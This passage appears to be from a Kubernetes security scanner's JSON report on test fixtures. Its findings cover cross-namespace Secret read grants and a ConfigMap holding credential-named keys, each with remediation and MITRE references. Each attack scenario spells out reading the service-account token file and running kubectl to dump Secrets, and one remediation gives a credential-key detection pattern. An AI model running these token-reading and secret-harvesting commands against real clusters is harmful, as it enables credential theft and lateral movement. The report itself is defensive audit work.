    ],
    "excluded": false,
    "tags": [
      "module:secrets",
      "check:crossNamespaceSecretRead"
    ]
  },
  {
    "id": "KUBE-SECRETS-CROSSNS-001:ServiceAccount/foothold-fixtures/foothold-quiet:kube-system",
    "rule_id": "KUBE-SECRETS-CROSSNS-001",
    "severity": "MEDIUM",
    "score": 6.4,
    "category": "lateral_movement",
    "title": "ServiceAccount `foothold-fixtures/foothold-quiet` can read Secrets in namespace `kube-system` (used by workloads in `foothold-fixtures`)",
    "description": "ServiceAccount `foothold-fixtures/foothold-quiet` is mounted by workload(s) `Pod/foothold-quiet-app-749c54956-gwlx2, Deployment/foothold-quiet-app` and has RBAC permission to `get`/`list`/`watch` Secrets in namespace `kube-system`, granted by `foothold-quiet-secrets` (referencing `foothold-quiet-secrets`). Namespace `foothold-fixtures` is the namespace the SA *lives in*; namespace `kube-system` is *different*. The grant therefore lets a compromised pod in `foothold-fixtures` enumerate or read every Secret in `kube-system` via the projected SA token, without leaving the namespace it runs in.\n\nThis pattern is the most common lateral-movement primitive in production K8s clusters because the namespace boundary is the platform's primary isolation surface. Network policies, PSA labels, ResourceQuotas, image-pull credentials, and audit groupings all key on namespace. An RBAC grant that punches through the boundary collapses that isolation for the secret-read axis: the attacker doesn't need a network path, doesn't need a pod-create, doesn't need to escape to the node, they just `kubectl get secret -n \u003cother-namespace\u003e` with the projected token.\n\nThree patterns produce this finding in real clusters: (1) a shared ClusterRole (e.g. `secret-reader`) bound to a workload SA via a ClusterRoleBinding, granting it cluster-wide read; (2) a multi-tenant operator (Vault sync, External Secrets Operator, cert-manager) deliberately granted cross-namespace read but with a wider scope than the operator actually needs; (3) a copy-pasted Helm chart's ClusterRole that was meant to be a Role. Each is fixable by replacing the grant with namespace-scoped Roles, restricting `resourceNames`, or moving the consumer into the target namespace.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "foothold-quiet",
      "namespace": "foothold-fixtures"
    },
    "resource": {
      "kind": "ServiceAccount",
      "name": "foothold-quiet",
      "namespace": "foothold-fixtures"
    },
    "namespace": "foothold-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "ServiceAccount `foothold-fixtures/foothold-quiet` mounted in `foothold-fixtures`: holds `get`/`list`/`watch` on `secrets` in `kube-system` via `foothold-quiet-secrets`/`foothold-quiet-secrets`. A pod-to-API-server compromise reads every Secret in the target namespace."
    },
    "impact": "Anyone who compromises a pod running as `foothold-fixtures/foothold-quiet` can read every Secret in `kube-system` over the projected SA token, without needing a network egress, host escape, or RBAC modification. Lateral movement to the credentials of every workload in `kube-system` becomes a single `kubectl get secret` away.",
    "attack_scenario": [
      "Attacker gains code execution inside a pod running as `foothold-fixtures/foothold-quiet` (RCE on the application, dependency confusion, supply chain compromise of a base image, etc.).",
      "They read the projected SA token at `/var/run/secrets/kubernetes.io/serviceaccount/token`.",
      "They run `kubectl --token=$(cat ...) get secrets -n kube-system` against the in-cluster API server. RBAC permits it because `foothold-quiet-secrets/foothold-quiet-secrets` was granted across the namespace boundary.",
      "They harvest every Secret in `kube-system`: TLS keys, OAuth client secrets, database passwords, registry pull credentials, ServiceAccount tokens, cloud provider IAM keys.",
      "They use the harvested credentials laterally: pivot to the cloud account, push a malicious image to the registry, authenticate as another workload's SA, sign their own short-lived tokens via TokenRequest, etc. The original `foothold-fixtures/foothold-quiet` pod is now optional; the cluster's secrets are exfiltrated."
    ],
    "evidence": {
      "source_binding": "foothold-quiet-secrets",
      "source_role": "foothold-quiet-secrets",
      "target_namespace": "kube-system",
      "verbs": [
        "get",
        "list"
      ]
    },
    "remediation": "Replace the cross-namespace grant with the narrowest possible scope: a Role in `kube-system` (not a ClusterRole), `resourceNames` for the specific Secrets the workload needs, or move the consumer into `kube-system`.",
    "remediation_steps": [
      "Identify what the pod *actually* reads. `kubectl logs` and audit logs for `objectRef.resource=secrets` will show the specific Secret names. Most cross-namespace grants are over-broad: the workload only needs 1-2 Secrets, not the whole namespace.",
      "Replace the grant. Prefer (in order): (a) move the workload into `kube-system` so the grant becomes intra-namespace, (b) replace the ClusterRoleBinding with a RoleBinding in `kube-system` that points to a Role, (c) restrict the Role to `resourceNames: [foo, bar]` for the specific Secrets needed.",
      "For multi-tenant operators (External Secrets Operator, Vault sync, cert-manager), use the operator's per-namespace SecretStore / ClusterSecretStore selector mechanism instead of granting cluster-wide RBAC. The operator's docs document the right scoping.",
      "Audit the binding. `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]?.name == \"foothold-quiet\" and .subjects[]?.namespace == \"foothold-fixtures\")'` shows everything that grants this SA cross-namespace read.",
      "Wire enforcement: a Kyverno or Gatekeeper ClusterPolicy that warns/blocks any RoleBinding that points a non-system ClusterRole at a workload SA, or any ClusterRole that grants `secrets:get` without a `resourceNames` constraint."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/",
      "https://kubernetes.io/docs/concepts/configuration/secret/",
      "https://kubernetes.io/docs/concepts/security/secrets-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes: RBAC authorization",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/"
      },
      {
        "title": "Kubernetes — Secrets",
        "url": "https://kubernetes.io/docs/concepts/configuration/secret/"
      },
      {
        "title": "Kubernetes — Good practices for Secrets",
        "url": "https://kubernetes.io/docs/concepts/security/secrets-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1552.001",
        "name": "Credentials In Files",
        "url": "https://attack.mitre.org/techniques/T1552/001/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:secrets",
      "check:crossNamespaceSecretRead"
    ]
  },
  {
    "id": "KUBE-SECRETS-CROSSNS-001:ServiceAccount/imgswap-fixtures/imgswap-reader:*",
    "rule_id": "KUBE-SECRETS-CROSSNS-001",
    "severity": "MEDIUM",
    "score": 6.4,
    "category": "lateral_movement",
    "title": "ServiceAccount `imgswap-fixtures/imgswap-reader` can read Secrets in namespace `(cluster-wide)` (used by workloads in `imgswap-fixtures`)",
    "description": "ServiceAccount `imgswap-fixtures/imgswap-reader` is mounted by workload(s) `Pod/imgswap-reader-app-b5544c498-65nm9, Deployment/imgswap-reader-app` and has RBAC permission to `get`/`list`/`watch` Secrets in namespace `(cluster-wide)`, granted by `crb-imgswap-secret-reader` (referencing `cr-imgswap-secret-reader`). Namespace `imgswap-fixtures` is the namespace the SA *lives in*; namespace `(cluster-wide)` is *different*. The grant therefore lets a compromised pod in `imgswap-fixtures` enumerate or read every Secret in `(cluster-wide)` via the projected SA token, without leaving the namespace it runs in.\n\nThis pattern is the most common lateral-movement primitive in production K8s clusters because the namespace boundary is the platform's primary isolation surface. Network policies, PSA labels, ResourceQuotas, image-pull credentials, and audit groupings all key on namespace. An RBAC grant that punches through the boundary collapses that isolation for the secret-read axis: the attacker doesn't need a network path, doesn't need a pod-create, doesn't need to escape to the node, they just `kubectl get secret -n \u003cother-namespace\u003e` with the projected token.\n\nThree patterns produce this finding in real clusters: (1) a shared ClusterRole (e.g. `secret-reader`) bound to a workload SA via a ClusterRoleBinding, granting it cluster-wide read; (2) a multi-tenant operator (Vault sync, External Secrets Operator, cert-manager) deliberately granted cross-namespace read but with a wider scope than the operator actually needs; (3) a copy-pasted Helm chart's ClusterRole that was meant to be a Role. Each is fixable by replacing the grant with namespace-scoped Roles, restricting `resourceNames`, or moving the consumer into the target namespace.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "imgswap-reader",
      "namespace": "imgswap-fixtures"
    },
    "resource": {
      "kind": "ServiceAccount",
      "name": "imgswap-reader",
      "namespace": "imgswap-fixtures"
    },
    "namespace": "imgswap-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "ServiceAccount `imgswap-fixtures/imgswap-reader` mounted in `imgswap-fixtures`: holds `get`/`list`/`watch` on `secrets` in `(cluster-wide)` via `crb-imgswap-secret-reader`/`cr-imgswap-secret-reader`. A pod-to-API-server compromise reads every Secret in the target namespace."
    },
    "impact": "Anyone who compromises a pod running as `imgswap-fixtures/imgswap-reader` can read every Secret in `(cluster-wide)` over the projected SA token, without needing a network egress, host escape, or RBAC modification. Lateral movement to the credentials of every workload in `(cluster-wide)` becomes a single `kubectl get secret` away.",
    "attack_scenario": [
      "Attacker gains code execution inside a pod running as `imgswap-fixtures/imgswap-reader` (RCE on the application, dependency confusion, supply chain compromise of a base image, etc.).",
      "They read the projected SA token at `/var/run/secrets/kubernetes.io/serviceaccount/token`.",
      "They run `kubectl --token=$(cat ...) get secrets -n (cluster-wide)` against the in-cluster API server. RBAC permits it because `crb-imgswap-secret-reader/cr-imgswap-secret-reader` was granted across the namespace boundary.",
      "They harvest every Secret in `(cluster-wide)`: TLS keys, OAuth client secrets, database passwords, registry pull credentials, ServiceAccount tokens, cloud provider IAM keys.",
      "They use the harvested credentials laterally: pivot to the cloud account, push a malicious image to the registry, authenticate as another workload's SA, sign their own short-lived tokens via TokenRequest, etc. The original `imgswap-fixtures/imgswap-reader` pod is now optional; the cluster's secrets are exfiltrated."
    ],
    "evidence": {
      "source_binding": "crb-imgswap-secret-reader",
      "source_role": "cr-imgswap-secret-reader",
      "target_namespace": "",
      "verbs": [
        "get",
        "list"
      ]
    },
    "remediation": "Replace the cross-namespace grant with the narrowest possible scope: a Role in `(cluster-wide)` (not a ClusterRole), `resourceNames` for the specific Secrets the workload needs, or move the consumer into `(cluster-wide)`.",
    "remediation_steps": [
      "Identify what the pod *actually* reads. `kubectl logs` and audit logs for `objectRef.resource=secrets` will show the specific Secret names. Most cross-namespace grants are over-broad: the workload only needs 1-2 Secrets, not the whole namespace.",
      "Replace the grant. Prefer (in order): (a) move the workload into `(cluster-wide)` so the grant becomes intra-namespace, (b) replace the ClusterRoleBinding with a RoleBinding in `(cluster-wide)` that points to a Role, (c) restrict the Role to `resourceNames: [foo, bar]` for the specific Secrets needed.",
      "For multi-tenant operators (External Secrets Operator, Vault sync, cert-manager), use the operator's per-namespace SecretStore / ClusterSecretStore selector mechanism instead of granting cluster-wide RBAC. The operator's docs document the right scoping.",
      "Audit the binding. `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]?.name == \"imgswap-reader\" and .subjects[]?.namespace == \"imgswap-fixtures\")'` shows everything that grants this SA cross-namespace read.",
      "Wire enforcement: a Kyverno or Gatekeeper ClusterPolicy that warns/blocks any RoleBinding that points a non-system ClusterRole at a workload SA, or any ClusterRole that grants `secrets:get` without a `resourceNames` constraint."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/",
      "https://kubernetes.io/docs/concepts/configuration/secret/",
      "https://kubernetes.io/docs/concepts/security/secrets-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes: RBAC authorization",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/"
      },
      {
        "title": "Kubernetes — Secrets",
        "url": "https://kubernetes.io/docs/concepts/configuration/secret/"
      },
      {
        "title": "Kubernetes — Good practices for Secrets",
        "url": "https://kubernetes.io/docs/concepts/security/secrets-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1552.001",
        "name": "Credentials In Files",
        "url": "https://attack.mitre.org/techniques/T1552/001/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:secrets",
      "check:crossNamespaceSecretRead"
    ]
  },
  {
    "id": "KUBE-SECRETS-CROSSNS-001:ServiceAccount/rbac-fixtures/sa-wildcard:*",
    "rule_id": "KUBE-SECRETS-CROSSNS-001",
    "severity": "MEDIUM",
    "score": 6.4,
    "category": "lateral_movement",
    "title": "ServiceAccount `rbac-fixtures/sa-wildcard` can read Secrets in namespace `(cluster-wide)` (used by workloads in `rbac-fixtures`)",
    "description": "ServiceAccount `rbac-fixtures/sa-wildcard` is mounted by workload(s) `Pod/wildcard-app-85ff74597d-vjhw7, Deployment/wildcard-app` and has RBAC permission to `get`/`list`/`watch` Secrets in namespace `(cluster-wide)`, granted by `crb-wildcard` (referencing `cr-wildcard`). Namespace `rbac-fixtures` is the namespace the SA *lives in*; namespace `(cluster-wide)` is *different*. The grant therefore lets a compromised pod in `rbac-fixtures` enumerate or read every Secret in `(cluster-wide)` via the projected SA token, without leaving the namespace it runs in.\n\nThis pattern is the most common lateral-movement primitive in production K8s clusters because the namespace boundary is the platform's primary isolation surface. Network policies, PSA labels, ResourceQuotas, image-pull credentials, and audit groupings all key on namespace. An RBAC grant that punches through the boundary collapses that isolation for the secret-read axis: the attacker doesn't need a network path, doesn't need a pod-create, doesn't need to escape to the node, they just `kubectl get secret -n \u003cother-namespace\u003e` with the projected token.\n\nThree patterns produce this finding in real clusters: (1) a shared ClusterRole (e.g. `secret-reader`) bound to a workload SA via a ClusterRoleBinding, granting it cluster-wide read; (2) a multi-tenant operator (Vault sync, External Secrets Operator, cert-manager) deliberately granted cross-namespace read but with a wider scope than the operator actually needs; (3) a copy-pasted Helm chart's ClusterRole that was meant to be a Role. Each is fixable by replacing the grant with namespace-scoped Roles, restricting `resourceNames`, or moving the consumer into the target namespace.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-wildcard",
      "namespace": "rbac-fixtures"
    },
    "resource": {
      "kind": "ServiceAccount",
      "name": "sa-wildcard",
      "namespace": "rbac-fixtures"
    },
    "namespace": "rbac-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "ServiceAccount `rbac-fixtures/sa-wildcard` mounted in `rbac-fixtures`: holds `get`/`list`/`watch` on `secrets` in `(cluster-wide)` via `crb-wildcard`/`cr-wildcard`. A pod-to-API-server compromise reads every Secret in the target namespace."
    },
    "impact": "Anyone who compromises a pod running as `rbac-fixtures/sa-wildcard` can read every Secret in `(cluster-wide)` over the projected SA token, without needing a network egress, host escape, or RBAC modification. Lateral movement to the credentials of every workload in `(cluster-wide)` becomes a single `kubectl get secret` away.",
    "attack_scenario": [
      "Attacker gains code execution inside a pod running as `rbac-fixtures/sa-wildcard` (RCE on the application, dependency confusion, supply chain compromise of a base image, etc.).",
      "They read the projected SA token at `/var/run/secrets/kubernetes.io/serviceaccount/token`.",
      "They run `kubectl --token=$(cat ...) get secrets -n (cluster-wide)` against the in-cluster API server. RBAC permits it because `crb-wildcard/cr-wildcard` was granted across the namespace boundary.",
      "They harvest every Secret in `(cluster-wide)`: TLS keys, OAuth client secrets, database passwords, registry pull credentials, ServiceAccount tokens, cloud provider IAM keys.",
      "They use the harvested credentials laterally: pivot to the cloud account, push a malicious image to the registry, authenticate as another workload's SA, sign their own short-lived tokens via TokenRequest, etc. The original `rbac-fixtures/sa-wildcard` pod is now optional; the cluster's secrets are exfiltrated."
    ],
    "evidence": {
      "source_binding": "crb-wildcard",
      "source_role": "cr-wildcard",
      "target_namespace": "",
      "verbs": [
        "*"
      ]
    },
    "remediation": "Replace the cross-namespace grant with the narrowest possible scope: a Role in `(cluster-wide)` (not a ClusterRole), `resourceNames` for the specific Secrets the workload needs, or move the consumer into `(cluster-wide)`.",
    "remediation_steps": [
      "Identify what the pod *actually* reads. `kubectl logs` and audit logs for `objectRef.resource=secrets` will show the specific Secret names. Most cross-namespace grants are over-broad: the workload only needs 1-2 Secrets, not the whole namespace.",
      "Replace the grant. Prefer (in order): (a) move the workload into `(cluster-wide)` so the grant becomes intra-namespace, (b) replace the ClusterRoleBinding with a RoleBinding in `(cluster-wide)` that points to a Role, (c) restrict the Role to `resourceNames: [foo, bar]` for the specific Secrets needed.",
      "For multi-tenant operators (External Secrets Operator, Vault sync, cert-manager), use the operator's per-namespace SecretStore / ClusterSecretStore selector mechanism instead of granting cluster-wide RBAC. The operator's docs document the right scoping.",
      "Audit the binding. `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]?.name == \"sa-wildcard\" and .subjects[]?.namespace == \"rbac-fixtures\")'` shows everything that grants this SA cross-namespace read.",
      "Wire enforcement: a Kyverno or Gatekeeper ClusterPolicy that warns/blocks any RoleBinding that points a non-system ClusterRole at a workload SA, or any ClusterRole that grants `secrets:get` without a `resourceNames` constraint."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/",
      "https://kubernetes.io/docs/concepts/configuration/secret/",
      "https://kubernetes.io/docs/concepts/security/secrets-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes: RBAC authorization",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/"
      },
      {
        "title": "Kubernetes — Secrets",
        "url": "https://kubernetes.io/docs/concepts/configuration/secret/"
      },
      {
        "title": "Kubernetes — Good practices for Secrets",
        "url": "https://kubernetes.io/docs/concepts/security/secrets-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1552.001",
        "name": "Credentials In Files",
        "url": "https://attack.mitre.org/techniques/T1552/001/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:secrets",
      "check:crossNamespaceSecretRead"
    ]
  },
  {
    "id": "KUBE-SECRETS-CROSSNS-001:ServiceAccount/secrets-bundle/cross-ns-reader:secrets-bundle-target",
    "rule_id": "KUBE-SECRETS-CROSSNS-001",
    "severity": "MEDIUM",
    "score": 6.4,
    "category": "lateral_movement",
    "title": "ServiceAccount `secrets-bundle/cross-ns-reader` can read Secrets in namespace `secrets-bundle-target` (used by workloads in `secrets-bundle`)",
    "description": "ServiceAccount `secrets-bundle/cross-ns-reader` is mounted by workload(s) `Pod/cross-ns-consumer-6c945c9c9d-jq2db, Deployment/cross-ns-consumer` and has RBAC permission to `get`/`list`/`watch` Secrets in namespace `secrets-bundle-target`, granted by `cross-ns-secrets-read` (referencing `secrets-reader`). Namespace `secrets-bundle` is the namespace the SA *lives in*; namespace `secrets-bundle-target` is *different*. The grant therefore lets a compromised pod in `secrets-bundle` enumerate or read every Secret in `secrets-bundle-target` via the projected SA token, without leaving the namespace it runs in.\n\nThis pattern is the most common lateral-movement primitive in production K8s clusters because the namespace boundary is the platform's primary isolation surface. Network policies, PSA labels, ResourceQuotas, image-pull credentials, and audit groupings all key on namespace. An RBAC grant that punches through the boundary collapses that isolation for the secret-read axis: the attacker doesn't need a network path, doesn't need a pod-create, doesn't need to escape to the node, they just `kubectl get secret -n \u003cother-namespace\u003e` with the projected token.\n\nThree patterns produce this finding in real clusters: (1) a shared ClusterRole (e.g. `secret-reader`) bound to a workload SA via a ClusterRoleBinding, granting it cluster-wide read; (2) a multi-tenant operator (Vault sync, External Secrets Operator, cert-manager) deliberately granted cross-namespace read but with a wider scope than the operator actually needs; (3) a copy-pasted Helm chart's ClusterRole that was meant to be a Role. Each is fixable by replacing the grant with namespace-scoped Roles, restricting `resourceNames`, or moving the consumer into the target namespace.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cross-ns-reader",
      "namespace": "secrets-bundle"
    },
    "resource": {
      "kind": "ServiceAccount",
      "name": "cross-ns-reader",
      "namespace": "secrets-bundle"
    },
    "namespace": "secrets-bundle",
    "scope": {
      "level": "namespace",
      "detail": "ServiceAccount `secrets-bundle/cross-ns-reader` mounted in `secrets-bundle`: holds `get`/`list`/`watch` on `secrets` in `secrets-bundle-target` via `cross-ns-secrets-read`/`secrets-reader`. A pod-to-API-server compromise reads every Secret in the target namespace."
    },
    "impact": "Anyone who compromises a pod running as `secrets-bundle/cross-ns-reader` can read every Secret in `secrets-bundle-target` over the projected SA token, without needing a network egress, host escape, or RBAC modification. Lateral movement to the credentials of every workload in `secrets-bundle-target` becomes a single `kubectl get secret` away.",
    "attack_scenario": [
      "Attacker gains code execution inside a pod running as `secrets-bundle/cross-ns-reader` (RCE on the application, dependency confusion, supply chain compromise of a base image, etc.).",
      "They read the projected SA token at `/var/run/secrets/kubernetes.io/serviceaccount/token`.",
      "They run `kubectl --token=$(cat ...) get secrets -n secrets-bundle-target` against the in-cluster API server. RBAC permits it because `cross-ns-secrets-read/secrets-reader` was granted across the namespace boundary.",
      "They harvest every Secret in `secrets-bundle-target`: TLS keys, OAuth client secrets, database passwords, registry pull credentials, ServiceAccount tokens, cloud provider IAM keys.",
      "They use the harvested credentials laterally: pivot to the cloud account, push a malicious image to the registry, authenticate as another workload's SA, sign their own short-lived tokens via TokenRequest, etc. The original `secrets-bundle/cross-ns-reader` pod is now optional; the cluster's secrets are exfiltrated."
    ],
    "evidence": {
      "source_binding": "cross-ns-secrets-read",
      "source_role": "secrets-reader",
      "target_namespace": "secrets-bundle-target",
      "verbs": [
        "get",
        "list"
      ]
    },
    "remediation": "Replace the cross-namespace grant with the narrowest possible scope: a Role in `secrets-bundle-target` (not a ClusterRole), `resourceNames` for the specific Secrets the workload needs, or move the consumer into `secrets-bundle-target`.",
    "remediation_steps": [
      "Identify what the pod *actually* reads. `kubectl logs` and audit logs for `objectRef.resource=secrets` will show the specific Secret names. Most cross-namespace grants are over-broad: the workload only needs 1-2 Secrets, not the whole namespace.",
      "Replace the grant. Prefer (in order): (a) move the workload into `secrets-bundle-target` so the grant becomes intra-namespace, (b) replace the ClusterRoleBinding with a RoleBinding in `secrets-bundle-target` that points to a Role, (c) restrict the Role to `resourceNames: [foo, bar]` for the specific Secrets needed.",
      "For multi-tenant operators (External Secrets Operator, Vault sync, cert-manager), use the operator's per-namespace SecretStore / ClusterSecretStore selector mechanism instead of granting cluster-wide RBAC. The operator's docs document the right scoping.",
      "Audit the binding. `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]?.name == \"cross-ns-reader\" and .subjects[]?.namespace == \"secrets-bundle\")'` shows everything that grants this SA cross-namespace read.",
      "Wire enforcement: a Kyverno or Gatekeeper ClusterPolicy that warns/blocks any RoleBinding that points a non-system ClusterRole at a workload SA, or any ClusterRole that grants `secrets:get` without a `resourceNames` constraint."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/",
      "https://kubernetes.io/docs/concepts/configuration/secret/",
      "https://kubernetes.io/docs/concepts/security/secrets-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes: RBAC authorization",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/"
      },
      {
        "title": "Kubernetes — Secrets",
        "url": "https://kubernetes.io/docs/concepts/configuration/secret/"
      },
      {
        "title": "Kubernetes — Good practices for Secrets",
        "url": "https://kubernetes.io/docs/concepts/security/secrets-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1552.001",
        "name": "Credentials In Files",
        "url": "https://attack.mitre.org/techniques/T1552/001/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:secrets",
      "check:crossNamespaceSecretRead"
    ]
  },
  {
    "id": "KUBE-CONFIGMAP-001:secrets-bundle:app-credentials",
    "rule_id": "KUBE-CONFIGMAP-001",
    "severity": "MEDIUM",
    "score": 6.3,
    "category": "data_exfiltration",
    "title": "ConfigMap `secrets-bundle/app-credentials` exposes credential-shaped keys (`aws_secret_access_key, database_dsn, db_password, jwt_token, oauth_client_secret`) in plaintext",
    "description": "ConfigMap `secrets-bundle/app-credentials` contains keys with names matching credential-like patterns: `aws_secret_access_key, database_dsn, db_password, jwt_token, oauth_client_secret`. The Kubernetes API treats ConfigMaps as non-sensitive: etcd stores them unencrypted by default (encryption-at-rest is opt-in and almost always limited to Secrets), `kubectl describe configmap` prints values inline, audit logs include the data on get/list, and RBAC defaults give workload service accounts much wider read on ConfigMaps than on Secrets.\n\nStoring a credential in a ConfigMap therefore violates the basic Kubernetes data-classification model in three ways simultaneously: (1) it appears in plaintext to anyone with `get configmaps` (a much larger set of subjects than `get secrets`); (2) it ends up in cluster backups, etcd dumps, and platform observability tooling that explicitly excludes Secrets; (3) it does not benefit from any of the surface area Kubernetes builds around Secrets (envelope encryption, file-mode 0600 projection, KMS provider, External Secrets Operator).\n\nThe matched keys are heuristic, since `key` matches both `apiKey` and `public_key`, so review is required before assuming compromise. In practice the pattern is strong: in production clusters this finding correlates with real leaks the majority of the time. Treat as exposed-until-proven-otherwise.",
    "resource": {
      "kind": "ConfigMap",
      "name": "app-credentials",
      "namespace": "secrets-bundle"
    },
    "namespace": "secrets-bundle",
    "scope": {
      "level": "object",
      "detail": "ConfigMap `secrets-bundle/app-credentials`: readable by every subject with `get configmaps` in `secrets-bundle`, ships unencrypted in etcd, surfaces in `kubectl describe` and audit logs"
    },
    "impact": "If any of the flagged keys (`aws_secret_access_key, database_dsn, db_password, jwt_token, oauth_client_secret`) actually hold a credential, that credential is exposed to a wide audience: every workload SA in `secrets-bundle`, every backup operator, every audit log consumer, and possibly cluster-mirroring tooling.",
    "attack_scenario": [
      "Attacker compromises a workload in `secrets-bundle` whose ServiceAccount has `get configmaps` (the typical default `view` role grants it).",
      "They `kubectl get cm app-credentials -n secrets-bundle -o yaml` and read the matched keys directly. No decoding needed since ConfigMap data is plaintext.",
      "They identify the credential class (DB connection string, API key, OAuth client_secret, signing key) from the key name and value shape.",
      "They use the credential immediately: DB connection strings often grant the same write permission the application has; API keys often have no IP restriction; client_secrets unlock the upstream identity provider.",
      "Because audit-log review on ConfigMaps is rare, the read goes unnoticed until the upstream credential is rotated for unrelated reasons."
    ],
    "evidence": {
      "matched_keys": [
        "aws_secret_access_key",
        "database_dsn",
        "db_password",
        "jwt_token",
        "oauth_client_secret"
      ]
    },
    "remediation": "Move the credential out of `secrets-bundle/app-credentials` into a Kubernetes Secret (or, better, an external secret store) and remove the keys from the ConfigMap.",
    "remediation_steps": [
      "Inspect each matched key (`aws_secret_access_key, database_dsn, db_password, jwt_token, oauth_client_secret`) to confirm whether it is a real credential. Some keys like `cache_key_prefix` are false positives.",
      "For real credentials, create a Secret in `secrets-bundle` and update consumers (envFrom or volume mounts) to read from the Secret.",
      "Rotate the credential at its source: if it was already in plaintext in a ConfigMap, treat it as compromised (assume any subject with view-on-configmaps had access).",
      "Remove the credential keys from `secrets-bundle/app-credentials`. Verify the consumer still works (`kubectl rollout status`).",
      "Wire prevention: a Kyverno cluster policy that warns on `ConfigMap.data` keys matching `password|secret|token|credential|api_?key|access_?key|client_secret|connection_string|dsn`. Pair with External Secrets Operator so the right path of least resistance is to use a real secret store."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/configuration/configmap/",
      "https://kubernetes.io/docs/concepts/configuration/secret/",
      "https://kubernetes.io/docs/concepts/security/secrets-good-practices/",
      "https://external-secrets.io/latest/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — ConfigMaps",
        "url": "https://kubernetes.io/docs/concepts/configuration/configmap/"
      },
      {
        "title": "Kubernetes — Secrets",
        "url": "https://kubernetes.io/docs/concepts/configuration/secret/"
      },
      {
        "title": "Kubernetes — Good practices for Secrets",
        "url": "https://kubernetes.io/docs/concepts/security/secrets-good-practices/"
      },
      {
        "title": "External Secrets Operator",
        "url": "https://external-secrets.io/latest/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.001",
        "name": "Credentials In Files",
        "url": "https://attack.mitre.org/techniques/T1552/001/"
      },
      {
